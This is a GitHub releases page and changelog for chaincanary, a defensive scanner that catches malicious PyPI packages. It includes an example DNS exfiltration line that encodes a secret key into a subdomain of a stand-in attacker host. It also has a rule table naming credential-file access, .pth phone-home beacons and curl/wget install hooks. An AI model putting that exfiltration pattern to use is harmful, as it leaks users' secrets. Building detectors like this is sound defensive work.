Skip to content

Releases: AetherCore-Dev/chaincanary

v0.2.0

27 Mar 00:39

Choose a tag to compare

chaincanary v0.2.0

Install

pip install chaincanary==v0.2.0

Quick scan

chaincanary check litellm latest
chaincanary audit requirements.txt

See CHANGELOG.md for what's new.

Full Changelog: v0.1.5...v0.2.0

v0.1.5

25 Mar 18:38

Choose a tag to compare

chaincanary v0.1.5

Install

pip install chaincanary==v0.1.5

Quick scan

chaincanary check litellm latest
chaincanary audit requirements.txt

See CHANGELOG.md for what's new.

Full Changelog: v0.1.4...v0.1.5

v0.1.4

25 Mar 18:14

Choose a tag to compare

chaincanary v0.1.4

Install

pip install chaincanary==v0.1.4

Quick scan

chaincanary check litellm latest
chaincanary audit requirements.txt

See CHANGELOG.md for what's new.

Full Changelog: v0.1.3...v0.1.4

v0.1.3

25 Mar 18:09

Choose a tag to compare

chaincanary v0.1.3

Install

pip install chaincanary==v0.1.3

Quick scan

chaincanary check litellm latest
chaincanary audit requirements.txt

See CHANGELOG.md for what's new.

Full Changelog: v0.1.2...v0.1.3

v0.1.2

25 Mar 18:04

Choose a tag to compare

chaincanary v0.1.2

Install

pip install chaincanary==v0.1.2

Quick scan

chaincanary check litellm latest
chaincanary audit requirements.txt

See CHANGELOG.md for what's new.

Full Changelog: v0.1.1...v0.1.2

v0.1.1

25 Mar 17:47

Choose a tag to compare

chaincanary v0.1.1

Install

pip install chaincanary==v0.1.1

Quick scan

chaincanary check litellm latest
chaincanary audit requirements.txt

See CHANGELOG.md for what's new.

Full Changelog: v0.1.0...v0.1.1

v0.1.0 - Initial Release

25 Mar 17:31

Choose a tag to compare

Pre-release

Changelog

All notable changes to this project will be documented in this file.
Format: Keep a Changelog


[Unreleased] — post-0.1.0 hardening

Fixed

Scoring system overhaul (chaincanary/models.py)

  • BUG: 1×CRITICAL produced score=4.0 → LOW_RISK. Completely wrong — a single
    CRITICAL finding (e.g., phone-home .pth) should never be LOW_RISK.
  • Fix: severity-floor override rules added on top of numeric threshold:
    • 1×CRITICAL → verdict floor HIGH_RISK
    • 2+ CRITICAL → verdict floor MALICIOUS
    • 3+ HIGH → verdict floor HIGH_RISK
  • BUG: 20×LOW accumulated to 6.0 → HIGH_RISK (noise inflation).
  • Fix: LOW findings capped at 8 contributors to score. 20×LOW = 2.4 → LOW_RISK.

DNS exfiltration detection (chaincanary/analyzer/static.py)

  • New rule: DNS_EXFIL (HIGH severity)
  • Detects socket.getaddrinfo() and socket.gethostbyname() with dynamic hostnames in __init__.py
  • DNS exfil encodes stolen secrets (env vars, tokens) as subdomains:
    socket.getaddrinfo(base64(SECRET_KEY) + ".c2.attacker.com", 80)
  • DNS traffic bypasses most firewalls — this was a real blind spot.
  • Non-init files with socket (e.g., server.py) are not flagged → no false positives.

sys.modules bypass detection (chaincanary/analyzer/static.py)

  • New rule: SYS_MODULES_ACCESS (MEDIUM severity)
  • Attackers use sys.modules['requests'].get(...) to call network functions
    without triggering import requests pattern matching.
  • Now detected in __init__.py.

safe_version recommendation validation (chaincanary/engine.py)

  • BUG: Previous version was blindly recommended as rollback without scanning it.
    If 1.82.6 was also compromised, we'd recommend a malicious version.
  • Fix: _find_validated_safe_version() runs a quick static scan on up to 3 candidates
    and only recommends versions that pass as SAFE or LOW_RISK.

alias pip removed from README

  • Using alias pip="chaincanary install" breaks -e ., -r, and other pip flags.
  • Replaced with a clear recommended workflow section.

Comparison table accuracy (README.md)

  • Trivy correctly described as SBOM+CVE scanner (does file-level scanning, not behavioral .pth analysis)
  • pip-audit correctly described (does CVE + dependency confusion, not behavioral)
  • socket.dev added to table
  • Added clarifying note: use chaincanary alongside pip-audit/Safety, not instead of

Workers rate-limit cap (chaincanary/cli.py)

  • --workers capped at 16 internally to avoid PyPI 429 rate-limiting
  • Warning printed when user requests more than 16

Added

Typosquatting detection (chaincanary/safety_checks.py — new module)

  • check_typosquatting() using Levenshtein edit distance + SequenceMatcher similarity
  • Database of 100+ most-downloaded PyPI packages
  • Threshold: edit distance ≤ 2 AND similarity ≥ 0.75
  • HIGH severity for distance=1 (e.g., reqeustsrequests)
  • MEDIUM severity for distance=2 (e.g., numpyynumpy)
  • Catches visual substitution attacks: fIask (capital I) → flask
  • Runs as Step 0 in AnalysisEngine.analyze() — no download required

Git dependency flagging (chaincanary/lockfile.py)

  • PackageSpec gains is_git_dep: bool and git_url: Optional[str]
  • parse_requirements_txt() now parses git+https://, -e git+, git:// lines
  • Git dependencies are marked HIGH_RISK in audit output:
    they bypass PyPI review, code signing, and reproducible builds

Tests

  • 69 tests total (was 33) — all passing
  • tests/test_review_fixes.py: 36 new tests covering all above fixes
  • Scoring: 12 test cases for all verdict combinations
  • DNS exfil: 7 test cases including false-positive checks
  • Typosquatting: 9 test cases including visual substitution attacks
  • Git deps: 4 test cases
  • Regression: 4 tests ensuring prior detections still work

[0.1.0] — 2026-03-26

🔄 Renamed: pipguard → chaincanary

The project has been renamed from pipguard to chaincanary.

Why: The name chaincanary better captures the tool's purpose — like the
canary in a coal mine, it's the first signal that something in your supply chain
has gone wrong. It's also not tied to pip, leaving room to expand to other
ecosystems (npm, cargo, go modules) in the future.

The old PyPI name pipguard will publish a stub package pointing to chaincanary.


[0.1.0] — 2026-03-25

🚀 Initial Release

The short story: We built chaincanary the day LiteLLM 1.82.7 hit the news.
The attack hid a phone-home beacon inside a .pth file — a mechanism that
executes on every Python interpreter startup. chaincanary was designed to catch
exactly this.

Added

Core detection engine

  • Static analysis of Python wheels (no sandbox, no Docker required)
  • .pth file semantic classifier — distinguishes EMPTY / PATH_ONLY / SAFE_CODE / DANGEROUS
    • Empty .pth (pytest-cov style): silent ✓
    • setuptools distutils shim: LOW warning only ✓
    • LiteLLM 1.82.7 attack pattern: CRITICAL → MALICIOUS ✓
  • AST deep analysis: exec/eval obfuscation, network calls in install hooks
  • Delayed-trigger detection: network calls in __init__.py (runs on every import)
  • Zip safety: path traversal + zip bomb detection
  • Known malicious hash database (SHA256)

Version diff

  • chaincanary diff <pkg> <v1> <v2> — shows exactly what changed between versions
  • Flags new .pth files, new network imports, behavioral changes

Lockfile audit

  • chaincanary audit requirements.txt — scans all pinned packages in parallel
  • Supports: requirements.txt, pyproject.toml, Pipfile.lock
  • --fail-on MALICIOUS|HIGH_RISK for CI integration

GitHub Action

  • Drop-in action: uses: allenenli/chaincanary@v0.1.0
  • Audits your requirements file on every push/PR
  • Fails the build if malicious packages detected

CLI

  • chaincanary check <package> <version> — single package scan
  • chaincanary audit [lockfile] — batch scan
  • chaincanary diff <pkg> <v1> <v2> — version comparison
  • chaincanary install <package> — safe install wrapper
  • JSON output mode (--json-output) for pipeline integration

Detection rules (v0.1.0)

Rule Severity What it catches
PTH_FILE_INSTALL CRITICAL .pth with external data flow
PTH_NETWORK_BEACON CRITICAL phone-home on every Python startup
PTH_SUBPROCESS CRITICAL shell command on every Python startup
NETWORK_IN_SETUP HIGH network call during pip install
SUBPROCESS_IN_SETUP HIGH shell command during pip install
OBFUSCATED_CODE HIGH base64+exec, eval obfuscation
SENSITIVE_PATH_WRITE HIGH SSH keys, AWS creds access
CURL_WGET_IN_SETUP HIGH curl/wget during install
INIT_NETWORK_CALL MEDIUM network call on every import
EXEC_IN_SETUP MEDIUM exec() in install hooks
SITECUSTOMIZE_MODIFY MEDIUM system-wide startup hook
KNOWN_MALICIOUS_HASH CRITICAL SHA256 hash database match
WHEEL_PATH_TRAVERSAL CRITICAL directory escape in wheel
WHEEL_ZIP_BOMB HIGH excessive file count